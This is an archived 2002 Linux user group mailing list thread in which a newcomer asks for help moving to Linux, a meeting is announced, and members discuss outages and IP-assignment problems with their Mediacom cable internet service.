me with Linux? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 01:42:22 -0000
Hello all,
I just joined the mailing list.  I'm a student at Palmer College, (moved here from Alaska), and computers have been my hobby from when I was 5.  I would like to start using Linux completely, (without switching back and forth from Windows), but I would really like some instruction (ie help) from someone if anyone would be willing?  Like Me supply the Pizza and sodas and have a LAN party somewhere?  I'm just getting back into Linux - the last time I used it was back when I was working at an ISP, before I decided to become a doctor.  Back then, I did a little in Linux, but mostly worked on the NT server, and did all the hardware for the ISP.
So, that's a little

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Hello all,
I just joined the mailing list.  I'm a student at Palmer College, (moved here from Alaska), and computers have been my hobby from when I was 5.  I would like to start using Linux completely, (without switching back and forth from Windows), but I would really like some instruction (ie help) from someone if anyone would be willing?  Like Me supply the Pizza and sodas and have a LAN party somewhere?  I'm just getting back into Linux - the last time I used it was back when I was working at an ISP, before I decided to become a doctor.  Back then, I did a little in Linux, but mostly worked on the NT server, and did all the hardware for the ISP.
So, that's a little about me -

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From cj7jed@hotmail.com Mon Sep 09 01:43:12 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 26145 invoked by uid 1051); 9 Sep 2002 01:43:12 -0000 Received: from unknown (HELO hotmail.com) (64.4.17.160) by 0 with SMTP; 9 Sep 2002 01:43:12 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 8 Sep 2002 18:42:15 -0700 Received: from 63.102.218.222 by lw11fd.law11.hotmail.msn.com with HTTP; Mon, 09 Sep 2002 01:42:15 GMT X-Originating-IP: [63.102.218.222] From: "Jedidiah Smith" To: QCLUG@qclug.org Bcc: Date: Sun, 08 Sep 2002 20:42:15 -0500 Mime-Version: 1.0 Content-Type: text/html Message-ID: X-OriginalArrivalTime: 09 Sep 2002 01:42:15.0341 (UTC) FILETIME=[20067DD0:01C257A2] Subject: [QCLUG] Anyone in the QC area that could help me with Linux? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 01:43:13 -0000
Hello all,
I just joined the mailing list.  I'm a student at Palmer College, (moved here from Alaska), and computers have been my hobby from when I was 5.  I would like to start using Linux completely, (without switching back and forth from Windows), but I would really like some instruction (ie help) from someone if anyone would be willing?  Like Me supply the Pizza and sodas and have a LAN party somewhere?  I'm just getting back into Linux - the last time I used it was back when I was working at an ISP, before I decided to become a doctor.  Back then, I did a little in Linux, but mostly worked on the NT server, and did all the hardware for the ISP.
So, that's a

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Hello all,
I just joined the mailing list.  I'm a student at Palmer College, (moved here from Alaska), and computers have been my hobby from when I was 5.  I would like to start using Linux completely, (without switching back and forth from Windows), but I would really like some instruction (ie help) from someone if anyone would be willing?  Like Me supply the Pizza and sodas and have a LAN party somewhere?  I'm just getting back into Linux - the last time I used it was back when I was working at an ISP, before I decided to become a doctor.  Back then, I did a little in Linux, but mostly worked on the NT server, and did all the hardware for the ISP.
So,

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From cj7jed@hotmail.com Mon Sep 09 01:46:17 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 26253 invoked by uid 1051); 9 Sep 2002 01:46:17 -0000 Received: from unknown (HELO hotmail.com) (64.4.17.76) by 0 with SMTP; 9 Sep 2002 01:46:17 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 8 Sep 2002 18:46:19 -0700 Received: from 63.102.218.222 by lw11fd.law11.hotmail.msn.com with HTTP; Mon, 09 Sep 2002 01:46:19 GMT X-Originating-IP: [63.102.218.222] From: "Jedidiah Smith" To: QCLUG@qclug.org Bcc: Date: Sun, 08 Sep 2002 20:46:19 -0500 Mime-Version: 1.0 Content-Type: text/html Message-ID: X-OriginalArrivalTime: 09 Sep 2002 01:46:19.0437 (UTC) FILETIME=[B18495D0:01C257A2] Subject: [QCLUG] Sorry, screwed that post up. X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 01:46:17 -0000
Sorry, my keyboard is screwing up on me.  It's been randomly assigning its own keys, and certain keys work intermittantly.  I'll get a new one tomorrow.  :-)
 
Anyway, is there anyone out there that would be willing to help a Linux n00b?  I'm seriously willing to switch platforms, but it's been a long time, and it's not my occupation any more, just a hobby, so I've let my skills really fall by the wayside.
 
Thanks for your time and consideration,
Jed Smith
(563)-323-2066

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From gentoo@mchsi.com Mon Sep 09 02:09:37 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 26335 invoked by uid 1051); 9 Sep 2002 02:09:37 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 9 Sep 2002 02:09:37 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020909020938.VFKT7903.sccmmhc02.mchsi.com@laptop> for ; Mon, 9 Sep 2002 02:09:38 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Sorry, screwed that post up. Date: Sun, 8 Sep 2002 20:48:54 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209082048.54068.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 02:09:37 -0000 =09I would be willing to help , one thing you may want to do is make you = mail=20 post to this list in text not in html=20 On Monday 09 September 2002 01:46 am, Jedidiah Smith wrote: > Sorry, my keyboard is screwing up on me. It's been randomly assigning = its > own keys, and certain keys work intermittantly. I'll get a new one > tomorrow. :-)=20 > Anyway, is there anyone out there that would be willing to help a Linux > n00b? I'm seriously willing to switch platforms, but it's been a long > time, and it's not my occupation any more, just a hobby, so I've let my > skills really fall by the wayside.=20 > Thanks for your time and consideration, > Jed Smith > cj7jed@hotmail.com > (563)-323-2066 > > Chat with friends online, try MSN Messenger: Click Here --=20 life is linux=20 linux is life=20 From sb@helios.augustana.edu Mon Sep 09 02:57:33 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 26426 invoked by uid 1051); 9 Sep 2002 02:57:33 -0000 Received: from unknown (HELO helios.augustana.edu) (143.226.129.5) by 0 with SMTP; 9 Sep 2002 02:57:33 -0000 Date: Sun, 8 Sep 2002 21:49:49 -0500 (CDT) From: Shawn Beattie To: qclug@qclug.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [QCLUG] Meeting reminder X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 02:57:34 -0000 This is a reminder for the regular September meeting. Date: Tuesday, Sept 10th Time: 6:30pm Location: Augustana, Sorensen Hall Room 270 (same location as July & August meeting) Maps: http://www.augustana.edu/welcome/maps.htm Parking: Either north of Sorensen (Lot D) or across the walkway (Lot E) From cj7jed@hotmail.com Mon Sep 09 02:57:38 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 26472 invoked by uid 1051); 9 Sep 2002 02:57:38 -0000 Received: from unknown (HELO hotmail.com) (64.4.17.233) by 0 with SMTP; 9 Sep 2002 02:57:38 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 8 Sep 2002 19:57:40 -0700 Received: from 63.102.218.222 by lw11fd.law11.hotmail.msn.com with HTTP; Mon, 09 Sep 2002 02:57:39 GMT X-Originating-IP: [63.102.218.222] From: "Jedidiah Smith" To: qclug@qclug.org Bcc: Date: Sun, 08 Sep 2002 21:57:39 -0500 Mime-Version: 1.0 Content-Type: text/html Message-ID: X-OriginalArrivalTime: 09 Sep 2002 02:57:40.0120 (UTC) FILETIME=[A900F980:01C257AC] Subject: [QCLUG] That would be great! X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 02:57:38 -0000

Thanks for the offer to help - it'll probably be at least a week from now before I'm ready, as parts for my new box are on order. (building a dual Athlon box for video editing).  I've been running a dual boot on my old box with Mandrake 8.2, then 9.0 beta, and sometimes Redhat 7.3 w/ winXP for the last couple months... but I haven't done much in console mode - I could use some refreshers on that!  (about all I remember is "ls" instead of "dir" :-) ).

Does anyone of the QCluggers use Gentoo?  I'd like to try my hand at it, if I could get up to par in console mode again.  From what I've read, Gentoo seems to be the next wave - optimizable everything.

Alrighty, you've just got a new member, then . . . I'll be looking forward to it, and BTW, when is the next meeting?

Jed


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From stephen@revealed.net Mon Sep 09 14:52:18 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 27605 invoked by uid 1051); 9 Sep 2002 14:52:18 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 9 Sep 2002 14:52:18 -0000 Received: (qmail 32105 invoked by uid 1008); 9 Sep 2002 14:36:09 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 9 Sep 2002 14:36:09 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Subject: Re: [QCLUG] mediacom cutting out during downloads Date: Mon, 9 Sep 2002 09:50:29 -0500 X-Mailer: KMail [version 1.2] References: <200209082010.12889.gentoo@mchsi.com> In-Reply-To: <200209082010.12889.gentoo@mchsi.com> MIME-Version: 1.0 Message-Id: <02090909502900.10972@vortex> Content-Transfer-Encoding: 8bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 14:52:18 -0000 Yes I have noticed this on mediacom's system over the past weekend, and from what I've learned apparently they've added 3 t3's to thier network, and haven't gotten them fully configured properly... Though this may be fluff, as thursday night, my firewall received a 10.24.?.? ip (private ip) on it's eth0, and most of my machines could go nowhere... Now what installing new t3's of backbone has to do with screwing up thier dhcp servers, I have no idea... But sometimes i'm thinking some of these guys need to enroll in a basic networking class or two... (yes i'm a bit bitter about the whole thing, as I pay for 3 ips from them, and have only been able to receive 2 for the longest time, and then I was reduced to 1... Not to mentioned that normally when I sit down at my machine, for whatever reason it always takes me about 30 pings out before i stop dropping packets..... and I know my hardware is good..... they've got something frelled!) Roadkill the Avatar of Misfortune On Sunday 08 September 2002 15:10, you wrote: > Anyone notice mediacom cutting out during downloads of big files or small ? > Like i have been trying to download debian for power pc the downloads > would get stuck half way or when there almost done it would just sit there > unable to resusme or connects like the internet died but im able to get > website and start other downloads .this has happened on 4 gentoo boxes and > my win2k even my laptop seems to die just getting mail like the server > disappered. ? > > Could this also be my Masq machine dying its been up 141 days. > It seems like mediacom randomly shuts me off and turns me back on i have > been doing alot of rerunning #ifdown eth1 #ifup eth1on my server ( renews > dhcp info ) gives the same ip its just like it was turned off ..... I can > give any info on my server if needed to be . has anyone else noticed this ? > > Well anyway i have not been able to download the power pc debian port if > anyone has the disk i could copy i would appriciate it alot . i tried every > mirror and even the jigdo program on both linux and windows and it seems to > always just hang. it seems sometimes portage hangs on my gentoo systems to. > along with other downloading programs . From baldy@mchsi.com Mon Sep 09 15:22:59 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 27748 invoked by uid 1051); 9 Sep 2002 15:22:59 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 9 Sep 2002 15:22:59 -0000 Received: from linux ([12.217.93.116]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020909152300.YILT7903.sccmmhc02.mchsi.com@linux> for ; Mon, 9 Sep 2002 15:23:00 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Baldy To: qclug@qclug.org Subject: Re: [QCLUG] mediacom cutting out during downloads Date: Mon, 9 Sep 2002 10:21:37 -0500 X-Mailer: KMail [version 1.4] References: <200209082010.12889.gentoo@mchsi.com> <02090909502900.10972@vortex> In-Reply-To: <02090909502900.10972@vortex> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209091021.37804.baldy@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 15:23:00 -0000 On Monday September 9 2002 09:50, Roadkill the Avatar of Misfortune wrote= : > Yes I have noticed this on mediacom's system over the past weekend, and > from what I've learned apparently they've added 3 t3's to thier network= , > and haven't gotten them fully configured properly... > > Though this may be fluff, as thursday night, my firewall received a > 10.24.?.? ip (private ip) on it's eth0, and most of my machines could g= o > nowhere... Now what installing new t3's of backbone has to do with scre= wing > up thier dhcp servers, I have no idea... But sometimes i'm thinking so= me > of these guys need to enroll in a basic networking class or two... > > (yes i'm a bit bitter about the whole thing, as I pay for 3 ips from th= em, > and have only been able to receive 2 for the longest time, and then I w= as > reduced to 1... Not to mentioned that normally when I sit down at my > machine, for whatever reason it always takes me about 30 pings out befo= re i > stop dropping packets..... and I know my hardware is good..... they'v= e > got something frelled!) > > Roadkill the Avatar of Misfortune > > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug I have 2 ip's and one of them is out for the count as of Friday Night the= =20 other is slower than grandma at the sackrace. The secondary said bye bye = and=20 that was that and since I can ping each other and one can ping the word I= =20 changed nics thining maybe that was it and nope. So I just plan to sit an= d=20 wait and see what the cable wizards figure out.(Note lack of conviction i= n=20 that statement) --=20 Linux,chaos,and Mountain Dew a connection? From vorlon@netexpress.net Mon Sep 09 15:24:59 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 27796 invoked by uid 1051); 9 Sep 2002 15:24:58 -0000 Received: from unknown (HELO tennyson.netexpress.net) (64.22.192.76) by 0 with SMTP; 9 Sep 2002 15:24:58 -0000 Received: from tennyson.netexpress.net (vorlon@localhost [127.0.0.1]) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) with ESMTP id g89FOxxM018574 for ; Mon, 9 Sep 2002 10:24:59 -0500 Received: (from vorlon@localhost) by tennyson.netexpress.net (8.12.5/8.12.5/Debian-1) id g89FOXGS018571 for qclug@qclug.org; Mon, 9 Sep 2002 10:24:33 -0500 X-Authentication-Warning: tennyson.netexpress.net: vorlon set sender to vorlon@netexpress.net using -f Date: Mon, 9 Sep 2002 10:24:33 -0500 From: Steve Langasek To: qclug@qclug.org Subject: Re: [QCLUG] mediacom cutting out during downloads Message-ID: <20020909152433.GH17671@netexpress.net> Mail-Followup-To: qclug@qclug.org References: <200209082010.12889.gentoo@mchsi.com> <02090909502900.10972@vortex> <200209091021.37804.baldy@mchsi.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="8w3uRX/HFJGApMzv" Content-Disposition: inline In-Reply-To: <200209091021.37804.baldy@mchsi.com> User-Agent: Mutt/1.4i X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 15:24:59 -0000 --8w3uRX/HFJGApMzv Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 09, 2002 at 10:21:37AM -0500, Baldy wrote: > On Monday September 9 2002 09:50, Roadkill the Avatar of Misfortune wrote: > > Yes I have noticed this on mediacom's system over the past weekend, and > > from what I've learned apparently they've added 3 t3's to thier network, > > and haven't gotten them fully configured properly... > > Though this may be fluff, as thursday night, my firewall received a > > 10.24.?.? ip (private ip) on it's eth0, and most of my machines could go > > nowhere... Now what installing new t3's of backbone has to do with scre= wing > > up thier dhcp servers, I have no idea... But sometimes i'm thinking so= me > > of these guys need to enroll in a basic networking class or two... > > (yes i'm a bit bitter about the whole thing, as I pay for 3 ips from th= em, > > and have only been able to receive 2 for the longest time, and then I w= as > > reduced to 1... Not to mentioned that normally when I sit down at my > > machine, for whatever reason it always takes me about 30 pings out befo= re i > > stop dropping packets..... and I know my hardware is good..... they've > > got something frelled!) > > Roadkill the Avatar of Misfortune > I have 2 ip's and one of them is out for the count as of Friday Night the= =20 > other is slower than grandma at the sackrace. The secondary said bye bye = and=20 > that was that and since I can ping each other and one can ping the word I= =20 > changed nics thining maybe that was it and nope. So I just plan to sit an= d=20 > wait and see what the cable wizards figure out.(Note lack of conviction i= n=20 > that statement) I hear Internet Express's DSL customers don't have too many problems with their static IP assignments... ;) Steve Langasek postmodern programmer --8w3uRX/HFJGApMzv Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9fL0xKN6ufymYLloRAo4LAKCFKoedYM3Sz5bmLoc4o/YPvUE+OQCfQO0L 4wARTJ+f6LHMlMkUulJ3D3o= =Atuv -----END PGP SIGNATURE----- --8w3uRX/HFJGApMzv-- From stephen@revealed.net Mon Sep 09 16:55:38 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 28019 invoked by uid 1051); 9 Sep 2002 16:55:38 -0000 Received: from unknown (HELO edd.revealed.net) (205.243.76.9) by 0 with SMTP; 9 Sep 2002 16:55:38 -0000 Received: (qmail 17560 invoked by uid 1008); 9 Sep 2002 16:39:31 -0000 Received: from unknown (HELO vortex) (63.102.218.21) by 0 with SMTP; 9 Sep 2002 16:39:31 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Roadkill the Avatar of Misfortune Organization: DethBird Computers To: qclug@qclug.org Subject: Re: [QCLUG] mediacom cutting out during downloads Date: Mon, 9 Sep 2002 11:53:50 -0500 X-Mailer: KMail [version 1.2] References: <200209082010.12889.gentoo@mchsi.com> <200209091021.37804.baldy@mchsi.com> <20020909152433.GH17671@netexpress.net> In-Reply-To: <20020909152433.GH17671@netexpress.net> MIME-Version: 1.0 Message-Id: <02090911535001.10972@vortex> Content-Transfer-Encoding: 8bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 16:55:38 -0000 On Monday 09 September 2002 10:24, you wrote: > On Mon, Sep 09, 2002 at 10:21:37AM -0500, Baldy wrote: > > On Monday September 9 2002 09:50, Roadkill the Avatar of Misfortune wrote: > > > Yes I have noticed this on mediacom's system over the past weekend, and > > > from what I've learned apparently they've added 3 t3's to thier > > > network, and haven't gotten them fully configured properly... > > > > > > Though this may be fluff, as thursday night, my firewall received a > > > 10.24.?.? ip (private ip) on it's eth0, and most of my machines could > > > go nowhere... Now what installing new t3's of backbone has to do with > > > screwing up thier dhcp servers, I have no idea... But sometimes i'm > > > thinking some of these guys need to enroll in a basic networking class > > > or two... > > > > > > (yes i'm a bit bitter about the whole thing, as I pay for 3 ips from > > > them, and have only been able to receive 2 for the longest time, and > > > then I was reduced to 1... Not to mentioned that normally when I sit > > > down at my machine, for whatever reason it always takes me about 30 > > > pings out before i stop dropping packets..... and I know my hardware > > > is good..... they've got something frelled!) > > > > > > Roadkill the Avatar of Misfortune > > > > I have 2 ip's and one of them is out for the count as of Friday Night the > > other is slower than grandma at the sackrace. The secondary said bye bye > > and that was that and since I can ping each other and one can ping the > > word I changed nics thining maybe that was it and nope. So I just plan to > > sit and wait and see what the cable wizards figure out.(Note lack of > > conviction in that statement) > > I hear Internet Express's DSL customers don't have too many problems with > their static IP assignments... ;) > > Steve Langasek > postmodern programmer Oh if only static Ip's were an option.... With media com they won't assign anyone a static ip, everyone goes into the pool, and get a dynamic ip, your extra $5/month is just for you to be able to obtain another ip from said pool. Personally i'd be willing to spend an xtra $5 more / month for 1 ip that was completely static... But they won't ... rk From gentoo@mchsi.com Mon Sep 09 19:28:59 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30137 invoked by uid 1051); 9 Sep 2002 19:28:58 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 9 Sep 2002 19:28:58 -0000 Received: from laptop ([208.23.178.133]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Mon, 9 Sep 2002 14:28:43 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] mediacom cutting out during downloads Date: Mon, 9 Sep 2002 14:06:41 +0000 User-Agent: KMail/1.4.2 References: <200209082010.12889.gentoo@mchsi.com> <02090909502900.10972@vortex> In-Reply-To: <02090909502900.10972@vortex> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200209091406.41271.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 09 Sep 2002 19:28:59 -0000 =09hmmm sounds like they must be hiring high school drop outs serously wh= en an=20 isp dont know there dns and domain names somethings serously wrong anyway= s i=20 just got a new cable box casue mine went out this new ones got a serial = port=20 on the back ...... wonder if i can log into it the same way i log into op= en=20 firmware on the power pc's :) hacking cable box sounds like fun :) Well= =20 intill i can download stuff again my project with the power pc's will hav= e to=20 wait. =09oh also maybe why there dhcp servers went down is cause someone runnin= g linux=20 shutdown there dhcp server ...... On Monday 09 September 2002 02:50 pm, Roadkill the Avatar of Misfortune w= rote > Yes I have noticed this on mediacom's system over the past weekend, and > from what I've learned apparently they've added 3 t3's to thier network= , > and haven't gotten them fully configured properly... figures i remember calling tech support when they switched to mediacom an= d=20 they didnt know there own domain name or dns servers .... go figure > > Though this may be fluff, as thursday night, my firewall received a > 10.24.?.? ip (private ip) on it's eth0, and most of my machines could g= o > nowhere... Now what installing new t3's of backbone has to do with scre= wing > up thier dhcp servers, I have no idea... But sometimes i'm thinking so= me > of these guys need to enroll in a basic networking class or two... They might want to start haring people with actual education or past netw= ork=20 admins=20 > > (yes i'm a bit bitter about the whole thing, as I pay for 3 ips from th= em, > and have only been able to receive 2 for the longest time, and then I w= as > reduced to 1... Not to mentioned that normally when I sit down at my > machine, for whatever reason it always takes me about 30 pings out befo= re i > stop dropping packets..... and I know my hardware is good..... they'v= e > got something frelled!) > > Roadkill the Avatar of Misfortune > > On Sunday 08 September 2002 15:10, you wrote: > > Anyone notice mediacom cutting out during downloads of big files or s= mall > > ? Like i have been trying to download debian for power pc the downlo= ads > > would get stuck half way or when there almost done it would just sit > > there unable to resusme or connects like the internet died but im abl= e to > > get website and start other downloads .this has happened on 4 gentoo > > boxes and my win2k even my laptop seems to die just getting mail like= the > > server disappered. ? > > > > =09Could this also be my Masq machine dying its been up 141 days. > > It seems like mediacom randomly shuts me off and turns me back on i h= ave > > been doing alot of rerunning #ifdown eth1 #ifup eth1on my server ( re= news > > dhcp info ) gives the same ip its just like it was turned off ..... = I > > can give any info on my server if needed to be . has anyone else noti= ced > > this ? > > > > =09Well anyway i have not been able to download the power pc debian p= ort if > > anyone has the disk i could copy i would appriciate it alot . i tried > > every mirror and even the jigdo program on both linux and windows and= it > > seems to always just hang. it seems sometimes portage hangs on my gen= too > > systems to. along with other downloading programs . > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From mrmagnum@mchsi.com Tue Sep 10 01:35:42 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2374 invoked by uid 1051); 10 Sep 2002 01:35:42 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 10 Sep 2002 01:35:42 -0000 Received: from there ([12.217.148.161]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020910013536.DFYP7903.sccmmhc02.mchsi.com@there> for ; Tue, 10 Sep 2002 01:35:36 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Harley McClure Organization: several To: qclug@qclug.org Subject: Re: [QCLUG] mediacom cutting out during downloads Date: Mon, 9 Sep 2002 20:30:21 -0500 X-Mailer: KMail [version 1.3.1] References: <200209082010.12889.gentoo@mchsi.com> <200209091021.37804.baldy@mchsi.com> <20020909152433.GH17671@netexpress.net> In-Reply-To: <20020909152433.GH17671@netexpress.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20020910013536.DFYP7903.sccmmhc02.mchsi.com@there> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 10 Sep 2002 01:35:42 -0000 On Monday 09 September 2002 10:24, you wrote: > On Mon, Sep 09, 2002 at 10:21:37AM -0500, Baldy wrote: > > On Monday September 9 2002 09:50, Roadkill the Avatar of Misfortune wrote: > > > Yes I have noticed this on mediacom's system over the past weekend, and > > > from what I've learned apparently they've added 3 t3's to thier > > > network, and haven't gotten them fully configured properly... > > > > > > Though this may be fluff, as thursday night, my firewall received a > > > 10.24.?.? ip (private ip) on it's eth0, and most of my machines could > > > go nowhere... Now what installing new t3's of backbone has to do with > > > screwing up thier dhcp servers, I have no idea... But sometimes i'm > > > thinking some of these guys need to enroll in a basic networking class > > > or two... > > > > > > (yes i'm a bit bitter about the whole thing, as I pay for 3 ips from > > > them, and have only been able to receive 2 for the longest time, and > > > then I was reduced to 1... Not to mentioned that normally when I sit > > > down at my machine, for whatever reason it always takes me about 30 > > > pings out before i stop dropping packets..... and I know my hardware > > > is good..... they've got something frelled!) > > > > > > Roadkill the Avatar of Misfortune > > > > I have 2 ip's and one of them is out for the count as of Friday Night the > > other is slower than grandma at the sackrace. The secondary said bye bye > > and that was that and since I can ping each other and one can ping the > > word I changed nics thining maybe that was it and nope. So I just plan to > > sit and wait and see what the cable wizards figure out.(Note lack of > > conviction in that statement) > > I hear Internet Express's DSL customers don't have too many problems with > their static IP assignments... ;) > > Steve Langasek > postmodern programmer I hear that Qwest's new improved multipled cable plant is even more DSL hostile than before. Harley McClure From mrmagnum@mchsi.com Tue Sep 10 01:40:43 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2467 invoked by uid 1051); 10 Sep 2002 01:40:43 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 10 Sep 2002 01:40:43 -0000 Received: from there ([12.217.148.161]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020910014044.QSDG2075.sccmmhc01.mchsi.com@there> for ; Tue, 10 Sep 2002 01:40:44 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Harley McClure Organization: several To: qclug@qclug.org Subject: Re: [QCLUG] mediacom cutting out during downloads Date: Mon, 9 Sep 2002 20:35:29 -0500 X-Mailer: KMail [version 1.3.1] References: <200209082010.12889.gentoo@mchsi.com> In-Reply-To: <200209082010.12889.gentoo@mchsi.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20020910014044.QSDG2075.sccmmhc01.mchsi.com@there> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 10 Sep 2002 01:40:43 -0000 On Sunday 08 September 2002 15:10, you wrote: > Anyone notice mediacom cutting out during downloads of big files or small ? > Like i have been trying to download debian for power pc the downloads > would get stuck half way or when there almost done it would just sit there > unable to resusme or connects like the internet died but im able to get > website and start other downloads .this has happened on 4 gentoo boxes and > my win2k even my laptop seems to die just getting mail like the server > disappered. ? > > Could this also be my Masq machine dying its been up 141 days. > It seems like mediacom randomly shuts me off and turns me back on i have > been doing alot of rerunning #ifdown eth1 #ifup eth1on my server ( renews > dhcp info ) gives the same ip its just like it was turned off ..... I can > give any info on my server if needed to be . has anyone else noticed this ? > > Well anyway i have not been able to download the power pc debian port if > anyone has the disk i could copy i would appriciate it alot . i tried every > mirror and even the jigdo program on both linux and windows and it seems to > always just hang. it seems sometimes portage hangs on my gentoo systems to. > along with other downloading programs . Mine was crud this weekend and I talked to a friend in the same area, and he had called them. What they told him was that they were re-registering ethernet addresses. It seems that during the changeover they lost track of who had what address, and they've just been serving IPs to anyone that connected. That's changing. Only registered devices will get served addresses. Anyone else will have trouble until they get registered. Of course this is all second hand, so have a large grain of salt handy. Harley McClure From gentoo@mchsi.com Tue Sep 10 03:13:30 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 3088 invoked by uid 1051); 10 